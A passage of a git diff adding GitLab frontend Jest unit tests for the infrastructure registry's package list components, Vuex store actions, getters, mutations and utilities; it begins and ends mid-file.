+ let store;
+
+ const sortableFields = () => [
+ { orderBy: 'name', label: 'Name' },
+ { orderBy: 'version', label: 'Version' },
+ { orderBy: 'created_at', label: 'Published' },
+ ];
+
+ const groupSortableFields = () => [
+ { orderBy: 'name', label: 'Name' },
+ { orderBy: 'project_path', label: 'Project' },
+ { orderBy: 'version', label: 'Version' },
+ { orderBy: 'created_at', label: 'Published' },
+ ];
+
+ const findRegistrySearch = () => wrapper.findComponent(RegistrySearch);
+ const findUrlSync = () => wrapper.findComponent(UrlSync);
+
+ const createStore = (isGroupPage) => {
+ const state = {
+ config: {
+ isGroupPage,
+ },
+ sorting: {
+ orderBy: 'version',
+ sort: 'desc',
+ },
+ filter: [],
+ };
+ store = new Vuex.Store({
+ state,
+ });
+ store.dispatch = jest.fn();
+ };
+
+ const mountComponent = (isGroupPage = false) => {
+ createStore(isGroupPage);
+
+ wrapper = shallowMount(component, {
+ localVue,
+ store,
+ stubs: {
+ UrlSync,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('has a registry search component', () => {
+ mountComponent();
+
+ expect(findRegistrySearch().exists()).toBe(true);
+ expect(findRegistrySearch().props()).toMatchObject({
+ filter: store.state.filter,
+ sorting: store.state.sorting,
+ tokens: [],
+ sortableFields: sortableFields(),
+ });
+ });
+
+ it.each`
+ isGroupPage | page | fields
+ ${false} | ${'project'} | ${sortableFields()}
+ ${true} | ${'group'} | ${groupSortableFields()}
+ `('in a $page page binds the right props', ({ isGroupPage, fields }) => {
+ mountComponent(isGroupPage);
+
+ expect(findRegistrySearch().props()).toMatchObject({
+ filter: store.state.filter,
+ sorting: store.state.sorting,
+ tokens: [],
+ sortableFields: fields,
+ });
+ });
+
+ it('on sorting:changed emits update event and calls vuex setSorting', () => {
+ const payload = { sort: 'foo' };
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('sorting:changed', payload);
+
+ expect(store.dispatch).toHaveBeenCalledWith('setSorting', payload);
+ expect(wrapper.emitted('update')).toEqual([[]]);
+ });
+
+ it('on filter:changed calls vuex setFilter', () => {
+ const payload = ['foo'];
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('filter:changed', payload);
+
+ expect(store.dispatch).toHaveBeenCalledWith('setFilter', payload);
+ });
+
+ it('on filter:submit emits update event', () => {
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('filter:submit');
+
+ expect(wrapper.emitted('update')).toEqual([[]]);
+ });
+
+ it('has a UrlSync component', () => {
+ mountComponent();
+
+ expect(findUrlSync().exists()).toBe(true);
+ });
+
+ it('on query:changed calls updateQuery from UrlSync', () => {
+ jest.spyOn(UrlSync.methods, 'updateQuery').mockImplementation(() => {});
+
+ mountComponent();
+
+ findRegistrySearch().vm.$emit('query:changed');
+
+ expect(UrlSync.methods.updateQuery).toHaveBeenCalled();
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_title_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_title_spec.js
new file mode 100644
index 00000000000..b0e586f189a
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/infrastructure_title_spec.js
@@ -0,0 +1,75 @@
+import { shallowMount } from '@vue/test-utils';
+import component from '~/packages_and_registries/infrastructure_registry/list/components/infrastructure_title.vue';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+
+describe('Infrastructure Title', () => {
+ let wrapper;
+ let store;
+
+ const findTitleArea = () => wrapper.find(TitleArea);
+ const findMetadataItem = () => wrapper.find(MetadataItem);
+
+ const mountComponent = (propsData = { helpUrl: 'foo' }) => {
+ wrapper = shallowMount(component, {
+ store,
+ propsData,
+ stubs: {
+ TitleArea,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('title area', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findTitleArea().exists()).toBe(true);
+ });
+
+ it('has the correct props', () => {
+ mountComponent();
+
+ expect(findTitleArea().props()).toMatchObject({
+ title: 'Infrastructure Registry',
+ infoMessages: [
+ {
+ text: 'Publish and share your modules. %{docLinkStart}More information%{docLinkEnd}',
+ link: 'foo',
+ },
+ ],
+ });
+ });
+ });
+
+ describe.each`
+ count | exist | text
+ ${null} | ${false} | ${''}
+ ${undefined} | ${false} | ${''}
+ ${0} | ${true} | ${'0 Modules'}
+ ${1} | ${true} | ${'1 Module'}
+ ${2} | ${true} | ${'2 Modules'}
+ `('when count is $count metadata item', ({ count, exist, text }) => {
+ beforeEach(() => {
+ mountComponent({ count, helpUrl: 'foo' });
+ });
+
+ it(`is ${exist} that it exists`, () => {
+ expect(findMetadataItem().exists()).toBe(exist);
+ });
+
+ if (exist) {
+ it('has the correct props', () => {
+ expect(findMetadataItem().props()).toMatchObject({
+ icon: 'infrastructure-registry',
+ text,
+ });
+ });
+ }
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_app_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_app_spec.js
new file mode 100644
index 00000000000..cad75d2a858
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_app_spec.js
@@ -0,0 +1,239 @@
+import { GlEmptyState, GlSprintf, GlLink } from '@gitlab/ui';
+import { shallowMount, createLocalVue } from '@vue/test-utils';
+import Vuex from 'vuex';
+import setWindowLocation from 'helpers/set_window_location_helper';
+import createFlash from '~/flash';
+import * as commonUtils from '~/lib/utils/common_utils';
+import PackageListApp from '~/packages_and_registries/infrastructure_registry/list/components/packages_list_app.vue';
+import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '~/packages_and_registries/infrastructure_registry/list/constants';
+import {
+ SHOW_DELETE_SUCCESS_ALERT,
+ FILTERED_SEARCH_TERM,
+} from '~/packages_and_registries/shared/constants';
+
+import * as packageUtils from '~/packages_and_registries/shared/utils';
+import InfrastructureSearch from '~/packages_and_registries/infrastructure_registry/list/components/infrastructure_search.vue';
+
+jest.mock('~/lib/utils/common_utils');
+jest.mock('~/flash');
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('packages_list_app', () => {
+ let wrapper;
+ let store;
+
+ const PackageList = {
+ name: 'package-list',
+ template: '<div><slot name="empty-state"></slot></div>',
+ };
+ const GlLoadingIcon = { name: 'gl-loading-icon', template: '<div>loading</div>' };
+
+ const emptyListHelpUrl = 'helpUrl';
+ const findEmptyState = () => wrapper.find(GlEmptyState);
+ const findListComponent = () => wrapper.find(PackageList);
+ const findInfrastructureSearch = () => wrapper.find(InfrastructureSearch);
+
+ const createStore = (filter = []) => {
+ store = new Vuex.Store({
+ state: {
+ isLoading: false,
+ config: {
+ resourceId: 'project_id',
+ emptyListIllustration: 'helpSvg',
+ emptyListHelpUrl,
+ packageHelpUrl: 'foo',
+ },
+ filter,
+ },
+ });
+ store.dispatch = jest.fn();
+ };
+
+ const mountComponent = (provide) => {
+ wrapper = shallowMount(PackageListApp, {
+ localVue,
+ store,
+ stubs: {
+ GlEmptyState,
+ GlLoadingIcon,
+ PackageList,
+ GlSprintf,
+ GlLink,
+ },
+ provide,
+ });
+ };
+
+ beforeEach(() => {
+ createStore();
+ jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue({});
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders', () => {
+ mountComponent();
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('call requestPackagesList on page:changed', () => {
+ mountComponent();
+ store.dispatch.mockClear();
+
+ const list = findListComponent();
+ list.vm.$emit('page:changed', 1);
+ expect(store.dispatch).toHaveBeenCalledWith('requestPackagesList', { page: 1 });
+ });
+
+ it('call requestDeletePackage on package:delete', () => {
+ mountComponent();
+
+ const list = findListComponent();
+ list.vm.$emit('package:delete', 'foo');
+ expect(store.dispatch).toHaveBeenCalledWith('requestDeletePackage', 'foo');
+ });
+
+ it('does call requestPackagesList only one time on render', () => {
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenCalledTimes(3);
+ expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', expect.any(Object));
+ expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', expect.any(Array));
+ expect(store.dispatch).toHaveBeenNthCalledWith(3, 'requestPackagesList');
+ });
+
+ describe('url query string handling', () => {
+ const defaultQueryParamsMock = {
+ search: [1, 2],
+ type: 'npm',
+ sort: 'asc',
+ orderBy: 'created',
+ };
+
+ it('calls setSorting with the query string based sorting', () => {
+ jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue(defaultQueryParamsMock);
+
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', {
+ orderBy: defaultQueryParamsMock.orderBy,
+ sort: defaultQueryParamsMock.sort,
+ });
+ });
+
+ it('calls setFilter with the query string based filters', () => {
+ jest.spyOn(packageUtils, 'getQueryParams').mockReturnValue(defaultQueryParamsMock);
+
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', [
+ { type: 'type', value: { data: defaultQueryParamsMock.type } },
+ { type: FILTERED_SEARCH_TERM, value: { data: defaultQueryParamsMock.search[0] } },
+ { type: FILTERED_SEARCH_TERM, value: { data: defaultQueryParamsMock.search[1] } },
+ ]);
+ });
+
+ it('calls setSorting and setFilters with the results of extractFilterAndSorting', () => {
+ jest
+ .spyOn(packageUtils, 'extractFilterAndSorting')
+ .mockReturnValue({ filters: ['foo'], sorting: { sort: 'desc' } });
+
+ mountComponent();
+
+ expect(store.dispatch).toHaveBeenNthCalledWith(1, 'setSorting', { sort: 'desc' });
+ expect(store.dispatch).toHaveBeenNthCalledWith(2, 'setFilter', ['foo']);
+ });
+ });
+
+ describe('empty state', () => {
+ it('generate the correct empty list link', () => {
+ mountComponent();
+
+ const link = findListComponent().find(GlLink);
+
+ expect(link.attributes('href')).toBe(emptyListHelpUrl);
+ expect(link.text()).toBe('publish and share your packages');
+ });
+
+ it('includes the right content on the default tab', () => {
+ mountComponent();
+
+ const heading = findEmptyState().find('h1');
+
+ expect(heading.text()).toBe('There are no packages yet');
+ });
+ });
+
+ describe('filter without results', () => {
+ beforeEach(() => {
+ createStore([{ type: 'something' }]);
+ mountComponent();
+ });
+
+ it('should show specific empty message', () => {
+ expect(findEmptyState().text()).toContain('Sorry, your filter produced no results');
+ expect(findEmptyState().text()).toContain(
+ 'To widen your search, change or remove the filters above',
+ );
+ });
+ });
+
+ describe('Search', () => {
+ it('exists', () => {
+ mountComponent();
+
+ expect(findInfrastructureSearch().exists()).toBe(true);
+ });
+
+ it('on update fetches data from the store', () => {
+ mountComponent();
+ store.dispatch.mockClear();
+
+ findInfrastructureSearch().vm.$emit('update');
+
+ expect(store.dispatch).toHaveBeenCalledWith('requestPackagesList');
+ });
+ });
+
+ describe('delete alert handling', () => {
+ const originalLocation = window.location.href;
+ const search = `?${SHOW_DELETE_SUCCESS_ALERT}=true`;
+
+ beforeEach(() => {
+ createStore();
+ jest.spyOn(commonUtils, 'historyReplaceState').mockImplementation(() => {});
+ setWindowLocation(search);
+ });
+
+ afterEach(() => {
+ setWindowLocation(originalLocation);
+ });
+
+ it(`creates a flash if the query string contains ${SHOW_DELETE_SUCCESS_ALERT}`, () => {
+ mountComponent();
+
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_SUCCESS_MESSAGE,
+ type: 'notice',
+ });
+ });
+
+ it('calls historyReplaceState with a clean url', () => {
+ mountComponent();
+
+ expect(commonUtils.historyReplaceState).toHaveBeenCalledWith(originalLocation);
+ });
+
+ it(`does nothing if the query string does not contain ${SHOW_DELETE_SUCCESS_ALERT}`, () => {
+ setWindowLocation('?');
+ mountComponent();
+
+ expect(createFlash).not.toHaveBeenCalled();
+ expect(commonUtils.historyReplaceState).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_spec.js
new file mode 100644
index 00000000000..2fb76b98925
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/components/packages_list_spec.js
@@ -0,0 +1,209 @@
+import { GlTable, GlPagination, GlModal } from '@gitlab/ui';
+import { mount, createLocalVue } from '@vue/test-utils';
+import { last } from 'lodash';
+import Vuex from 'vuex';
+import stubChildren from 'helpers/stub_children';
+import PackagesList from '~/packages_and_registries/infrastructure_registry/list/components/packages_list.vue';
+import PackagesListRow from '~/packages_and_registries/infrastructure_registry/shared/package_list_row.vue';
+import PackagesListLoader from '~/packages_and_registries/shared/components/packages_list_loader.vue';
+import { TRACKING_ACTIONS } from '~/packages_and_registries/shared/constants';
+import { TRACK_CATEGORY } from '~/packages_and_registries/infrastructure_registry/shared/constants';
+import Tracking from '~/tracking';
+import { packageList } from '../../mock_data';
+
+const localVue = createLocalVue();
+localVue.use(Vuex);
+
+describe('packages_list', () => {
+ let wrapper;
+ let store;
+
+ const EmptySlotStub = { name: 'empty-slot-stub', template: '<div>bar</div>' };
+
+ const findPackagesListLoader = () => wrapper.find(PackagesListLoader);
+ const findPackageListPagination = () => wrapper.find(GlPagination);
+ const findPackageListDeleteModal = () => wrapper.find(GlModal);
+ const findEmptySlot = () => wrapper.find(EmptySlotStub);
+ const findPackagesListRow = () => wrapper.find(PackagesListRow);
+
+ const createStore = (isGroupPage, packages, isLoading) => {
+ const state = {
+ isLoading,
+ packages,
+ pagination: {
+ perPage: 1,
+ total: 1,
+ page: 1,
+ },
+ config: {
+ isGroupPage,
+ },
+ sorting: {
+ orderBy: 'version',
+ sort: 'desc',
+ },
+ };
+ store = new Vuex.Store({
+ state,
+ getters: {
+ getList: () => packages,
+ },
+ });
+ store.dispatch = jest.fn();
+ };
+
+ const mountComponent = ({
+ isGroupPage = false,
+ packages = packageList,
+ isLoading = false,
+ ...options
+ } = {}) => {
+ createStore(isGroupPage, packages, isLoading);
+
+ wrapper = mount(PackagesList, {
+ localVue,
+ store,
+ stubs: {
+ ...stubChildren(PackagesList),
+ GlTable,
+ GlModal,
+ },
+ ...options,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('when is loading', () => {
+ beforeEach(() => {
+ mountComponent({
+ packages: [],
+ isLoading: true,
+ });
+ });
+
+ it('shows skeleton loader when loading', () => {
+ expect(findPackagesListLoader().exists()).toBe(true);
+ });
+ });
+
+ describe('when is not loading', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('does not show skeleton loader when not loading', () => {
+ expect(findPackagesListLoader().exists()).toBe(false);
+ });
+ });
+
+ describe('layout', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('contains a pagination component', () => {
+ const sorting = findPackageListPagination();
+ expect(sorting.exists()).toBe(true);
+ });
+
+ it('contains a modal component', () => {
+ const sorting = findPackageListDeleteModal();
+ expect(sorting.exists()).toBe(true);
+ });
+ });
+
+ describe('when the user can destroy the package', () => {
+ beforeEach(() => {
+ mountComponent();
+ });
+
+ it('setItemToBeDeleted sets itemToBeDeleted and open the modal', () => {
+ const mockModalShow = jest.spyOn(wrapper.vm.$refs.packageListDeleteModal, 'show');
+ const item = last(wrapper.vm.list);
+
+ findPackagesListRow().vm.$emit('packageToDelete', item);
+
+ return wrapper.vm.$nextTick().then(() => {
+ expect(wrapper.vm.itemToBeDeleted).toEqual(item);
+ expect(mockModalShow).toHaveBeenCalled();
+ });
+ });
+
+ it('deleteItemConfirmation resets itemToBeDeleted', () => {
+ wrapper.setData({ itemToBeDeleted: 1 });
+ wrapper.vm.deleteItemConfirmation();
+ expect(wrapper.vm.itemToBeDeleted).toEqual(null);
+ });
+
+ it('deleteItemConfirmation emit package:delete', () => {
+ const itemToBeDeleted = { id: 2 };
+ wrapper.setData({ itemToBeDeleted });
+ wrapper.vm.deleteItemConfirmation();
+ return wrapper.vm.$nextTick(() => {
+ expect(wrapper.emitted('package:delete')[0]).toEqual([itemToBeDeleted]);
+ });
+ });
+
+ it('deleteItemCanceled resets itemToBeDeleted', () => {
+ wrapper.setData({ itemToBeDeleted: 1 });
+ wrapper.vm.deleteItemCanceled();
+ expect(wrapper.vm.itemToBeDeleted).toEqual(null);
+ });
+ });
+
+ describe('when the list is empty', () => {
+ beforeEach(() => {
+ mountComponent({
+ packages: [],
+ slots: {
+ 'empty-state': EmptySlotStub,
+ },
+ });
+ });
+
+ it('show the empty slot', () => {
+ const emptySlot = findEmptySlot();
+ expect(emptySlot.exists()).toBe(true);
+ });
+ });
+
+ describe('pagination component', () => {
+ let pagination;
+ let modelEvent;
+
+ beforeEach(() => {
+ mountComponent();
+ pagination = findPackageListPagination();
+ // retrieve the event used by v-model, a more sturdy approach than hardcoding it
+ modelEvent = pagination.vm.$options.model.event;
+ });
+
+ it('emits page:changed events when the page changes', () => {
+ pagination.vm.$emit(modelEvent, 2);
+ expect(wrapper.emitted('page:changed')).toEqual([[2]]);
+ });
+ });
+
+ describe('tracking', () => {
+ let eventSpy;
+
+ beforeEach(() => {
+ mountComponent();
+ eventSpy = jest.spyOn(Tracking, 'event');
+ wrapper.setData({ itemToBeDeleted: { package_type: 'conan' } });
+ });
+
+ it('deleteItemConfirmation calls event', () => {
+ wrapper.vm.deleteItemConfirmation();
+ expect(eventSpy).toHaveBeenCalledWith(
+ TRACK_CATEGORY,
+ TRACKING_ACTIONS.DELETE_PACKAGE,
+ expect.any(Object),
+ );
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/actions_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/actions_spec.js
new file mode 100644
index 00000000000..3fbfe1060dc
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/actions_spec.js
@@ -0,0 +1,277 @@
+import axios from 'axios';
+import MockAdapter from 'axios-mock-adapter';
+import testAction from 'helpers/vuex_action_helper';
+import Api from '~/api';
+import createFlash from '~/flash';
+import { MISSING_DELETE_PATH_ERROR } from '~/packages_and_registries/infrastructure_registry/list/constants';
+import * as actions from '~/packages_and_registries/infrastructure_registry/list/stores/actions';
+import * as types from '~/packages_and_registries/infrastructure_registry/list/stores/mutation_types';
+import { DELETE_PACKAGE_ERROR_MESSAGE } from '~/packages_and_registries/shared/constants';
+
+jest.mock('~/flash.js');
+jest.mock('~/api.js');
+
+describe('Actions Package list store', () => {
+ const headers = 'bar';
+ let mock;
+
+ beforeEach(() => {
+ Api.projectPackages = jest.fn().mockResolvedValue({ data: 'foo', headers });
+ Api.groupPackages = jest.fn().mockResolvedValue({ data: 'baz', headers });
+ mock = new MockAdapter(axios);
+ });
+
+ afterEach(() => {
+ mock.restore();
+ });
+
+ describe('requestPackagesList', () => {
+ const sorting = {
+ sort: 'asc',
+ orderBy: 'version',
+ };
+
+ const filter = [];
+ it('should fetch the project packages list when isGroupPage is false', (done) => {
+ testAction(
+ actions.requestPackagesList,
+ undefined,
+ { config: { isGroupPage: false, resourceId: 1 }, sorting, filter },
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'receivePackagesListSuccess', payload: { data: 'foo', headers } },
+ { type: 'setLoading', payload: false },
+ ],
+ () => {
+ expect(Api.projectPackages).toHaveBeenCalledWith(1, {
+ params: { page: 1, per_page: 20, sort: sorting.sort, order_by: sorting.orderBy },
+ });
+ done();
+ },
+ );
+ });
+
+ it('should fetch the group packages list when isGroupPage is true', (done) => {
+ testAction(
+ actions.requestPackagesList,
+ undefined,
+ { config: { isGroupPage: true, resourceId: 2 }, sorting, filter },
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'receivePackagesListSuccess', payload: { data: 'baz', headers } },
+ { type: 'setLoading', payload: false },
+ ],
+ () => {
+ expect(Api.groupPackages).toHaveBeenCalledWith(2, {
+ params: { page: 1, per_page: 20, sort: sorting.sort, order_by: sorting.orderBy },
+ });
+ done();
+ },
+ );
+ });
+
+ it('should fetch packages of a certain type when a filter with a type is present', (done) => {
+ const packageType = 'maven';
+
+ testAction(
+ actions.requestPackagesList,
+ undefined,
+ {
+ config: { isGroupPage: false, resourceId: 1 },
+ sorting,
+ filter: [{ type: 'type', value: { data: 'maven' } }],
+ },
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'receivePackagesListSuccess', payload: { data: 'foo', headers } },
+ { type: 'setLoading', payload: false },
+ ],
+ () => {
+ expect(Api.projectPackages).toHaveBeenCalledWith(1, {
+ params: {
+ page: 1,
+ per_page: 20,
+ sort: sorting.sort,
+ order_by: sorting.orderBy,
+ package_type: packageType,
+ },
+ });
+ done();
+ },
+ );
+ });
+
+ it('should create flash on API error', (done) => {
+ Api.projectPackages = jest.fn().mockRejectedValue();
+ testAction(
+ actions.requestPackagesList,
+ undefined,
+ { config: { isGroupPage: false, resourceId: 2 }, sorting, filter },
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'setLoading', payload: false },
+ ],
+ () => {
+ expect(createFlash).toHaveBeenCalled();
+ done();
+ },
+ );
+ });
+
+ it('should force the terraform_module type when forceTerraform is true', (done) => {
+ testAction(
+ actions.requestPackagesList,
+ undefined,
+ { config: { isGroupPage: false, resourceId: 1, forceTerraform: true }, sorting, filter },
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'receivePackagesListSuccess', payload: { data: 'foo', headers } },
+ { type: 'setLoading', payload: false },
+ ],
+ () => {
+ expect(Api.projectPackages).toHaveBeenCalledWith(1, {
+ params: {
+ page: 1,
+ per_page: 20,
+ sort: sorting.sort,
+ order_by: sorting.orderBy,
+ package_type: 'terraform_module',
+ },
+ });
+ done();
+ },
+ );
+ });
+ });
+
+ describe('receivePackagesListSuccess', () => {
+ it('should set received packages', (done) => {
+ const data = 'foo';
+
+ testAction(
+ actions.receivePackagesListSuccess,
+ { data, headers },
+ null,
+ [
+ { type: types.SET_PACKAGE_LIST_SUCCESS, payload: data },
+ { type: types.SET_PAGINATION, payload: headers },
+ ],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('setInitialState', () => {
+ it('should commit setInitialState', (done) => {
+ testAction(
+ actions.setInitialState,
+ '1',
+ null,
+ [{ type: types.SET_INITIAL_STATE, payload: '1' }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('setLoading', () => {
+ it('should commit set main loading', (done) => {
+ testAction(
+ actions.setLoading,
+ true,
+ null,
+ [{ type: types.SET_MAIN_LOADING, payload: true }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('requestDeletePackage', () => {
+ const payload = {
+ _links: {
+ delete_api_path: 'foo',
+ },
+ };
+ it('should perform a delete operation on _links.delete_api_path', (done) => {
+ mock.onDelete(payload._links.delete_api_path).replyOnce(200);
+ Api.projectPackages = jest.fn().mockResolvedValue({ data: 'foo' });
+
+ testAction(
+ actions.requestDeletePackage,
+ payload,
+ { pagination: { page: 1 } },
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'requestPackagesList', payload: { page: 1 } },
+ ],
+ done,
+ );
+ });
+
+ it('should stop the loading and call create flash on api error', (done) => {
+ mock.onDelete(payload._links.delete_api_path).replyOnce(400);
+ testAction(
+ actions.requestDeletePackage,
+ payload,
+ null,
+ [],
+ [
+ { type: 'setLoading', payload: true },
+ { type: 'setLoading', payload: false },
+ ],
+ () => {
+ expect(createFlash).toHaveBeenCalled();
+ done();
+ },
+ );
+ });
+
+ it.each`
+ property | actionPayload
+ ${'_links'} | ${{}}
+ ${'delete_api_path'} | ${{ _links: {} }}
+ `('should reject and createFlash when $property is missing', ({ actionPayload }, done) => {
+ testAction(actions.requestDeletePackage, actionPayload, null, [], []).catch((e) => {
+ expect(e).toEqual(new Error(MISSING_DELETE_PATH_ERROR));
+ expect(createFlash).toHaveBeenCalledWith({
+ message: DELETE_PACKAGE_ERROR_MESSAGE,
+ });
+ done();
+ });
+ });
+ });
+
+ describe('setSorting', () => {
+ it('should commit SET_SORTING', (done) => {
+ testAction(
+ actions.setSorting,
+ 'foo',
+ null,
+ [{ type: types.SET_SORTING, payload: 'foo' }],
+ [],
+ done,
+ );
+ });
+ });
+
+ describe('setFilter', () => {
+ it('should commit SET_FILTER', (done) => {
+ testAction(
+ actions.setFilter,
+ 'foo',
+ null,
+ [{ type: types.SET_FILTER, payload: 'foo' }],
+ [],
+ done,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/getters_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/getters_spec.js
new file mode 100644
index 00000000000..f2d52ace34e
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/getters_spec.js
@@ -0,0 +1,36 @@
+import getList from '~/packages_and_registries/infrastructure_registry/list/stores/getters';
+import { packageList } from '../../mock_data';
+
+describe('Getters registry list store', () => {
+ let state;
+
+ const setState = ({ isGroupPage = false } = {}) => {
+ state = {
+ packages: packageList,
+ config: {
+ isGroupPage,
+ },
+ };
+ };
+
+ beforeEach(() => setState());
+
+ afterEach(() => {
+ state = null;
+ });
+
+ describe('getList', () => {
+ it('returns a list of packages', () => {
+ const result = getList(state);
+
+ expect(result).toHaveLength(packageList.length);
+ expect(result[0].name).toBe('Test package');
+ });
+
+ it('adds projectPathName', () => {
+ const result = getList(state);
+
+ expect(result[0].projectPathName).toMatchInlineSnapshot(`"foo / bar / baz"`);
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/mutations_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/mutations_spec.js
new file mode 100644
index 00000000000..afd7a7e5439
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/stores/mutations_spec.js
@@ -0,0 +1,87 @@
+import * as commonUtils from '~/lib/utils/common_utils';
+import * as types from '~/packages_and_registries/infrastructure_registry/list/stores/mutation_types';
+import mutations from '~/packages_and_registries/infrastructure_registry/list/stores/mutations';
+import createState from '~/packages_and_registries/infrastructure_registry/list/stores/state';
+import { npmPackage, mavenPackage } from '../../mock_data';
+
+describe('Mutations Registry Store', () => {
+ let mockState;
+ beforeEach(() => {
+ mockState = createState();
+ });
+
+ describe('SET_INITIAL_STATE', () => {
+ it('should set the initial state', () => {
+ const config = {
+ resourceId: '1',
+ pageType: 'groups',
+ userCanDelete: '',
+ emptyListIllustration: 'foo',
+ emptyListHelpUrl: 'baz',
+ };
+
+ const expectedState = {
+ ...mockState,
+ config: {
+ ...config,
+ isGroupPage: true,
+ canDestroyPackage: true,
+ },
+ };
+ mutations[types.SET_INITIAL_STATE](mockState, config);
+
+ expect(mockState.projectId).toEqual(expectedState.projectId);
+ });
+ });
+
+ describe('SET_PACKAGE_LIST_SUCCESS', () => {
+ it('should set a packages list', () => {
+ const payload = [npmPackage, mavenPackage];
+ const expectedState = { ...mockState, packages: payload };
+ mutations[types.SET_PACKAGE_LIST_SUCCESS](mockState, payload);
+
+ expect(mockState.packages).toEqual(expectedState.packages);
+ });
+ });
+
+ describe('SET_MAIN_LOADING', () => {
+ it('should set main loading', () => {
+ mutations[types.SET_MAIN_LOADING](mockState, true);
+
+ expect(mockState.isLoading).toEqual(true);
+ });
+ });
+
+ describe('SET_PAGINATION', () => {
+ const mockPagination = { perPage: 10, page: 1 };
+ beforeEach(() => {
+ commonUtils.normalizeHeaders = jest.fn().mockReturnValue('baz');
+ commonUtils.parseIntPagination = jest.fn().mockReturnValue(mockPagination);
+ });
+ it('should set a parsed pagination', () => {
+ mutations[types.SET_PAGINATION](mockState, 'foo');
+ expect(commonUtils.normalizeHeaders).toHaveBeenCalledWith('foo');
+ expect(commonUtils.parseIntPagination).toHaveBeenCalledWith('baz');
+ expect(mockState.pagination).toEqual(mockPagination);
+ });
+ });
+
+ describe('SET_SORTING', () => {
+ it('should merge the sorting object with sort value', () => {
+ mutations[types.SET_SORTING](mockState, { sort: 'desc' });
+ expect(mockState.sorting).toEqual({ ...mockState.sorting, sort: 'desc' });
+ });
+
+ it('should merge the sorting object with order_by value', () => {
+ mutations[types.SET_SORTING](mockState, { orderBy: 'foo' });
+ expect(mockState.sorting).toEqual({ ...mockState.sorting, orderBy: 'foo' });
+ });
+ });
+
+ describe('SET_FILTER', () => {
+ it('should set the filter query', () => {
+ mutations[types.SET_FILTER](mockState, 'foo');
+ expect(mockState.filter).toEqual('foo');
+ });
+ });
+});
diff --git a/spec/frontend/packages_and_registries/infrastructure_registry/components/list/utils_spec.js b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/utils_spec.js
new file mode 100644
index 00000000000..a897fb90522
--- /dev/null
+++ b/spec/frontend/packages_and_registries/infrastructure_registry/components/list/utils_spec.js
@@ -0,0 +1,51 @@
+import { SORT_FIELDS } from '~/packages_and_registries/infrastructure_registry/list/constants';
+import {
+ getNewPaginationPage,
+ sortableFields,
+} from '~/packages_and_registries/infrastructure_registry/list/utils';
+
+describe('Packages list utils', () => {
+ describe('sortableFields', () => {
+ it('returns the correct list when is a project page', () => {
+ expect(sortableFields()).toEqual(SORT_FIELDS.filter((f) => f.orderBy !== 'project_path'));
+ });
+ it('returns the full list on the group page', () => {
+ expect(sortableFields(true)).toEqual(SORT_FIELDS);
+ });
+ });
+ describe('packageTypeDisplay', () => {
+ it('returns the current page when total items exceeds pagniation', () => {
+ expect(getNewPaginationPage(2, 20, 21)).toBe(2);
+ });
+
+ it('returns the previous page when total items is lower than or equal to pagination', () => {
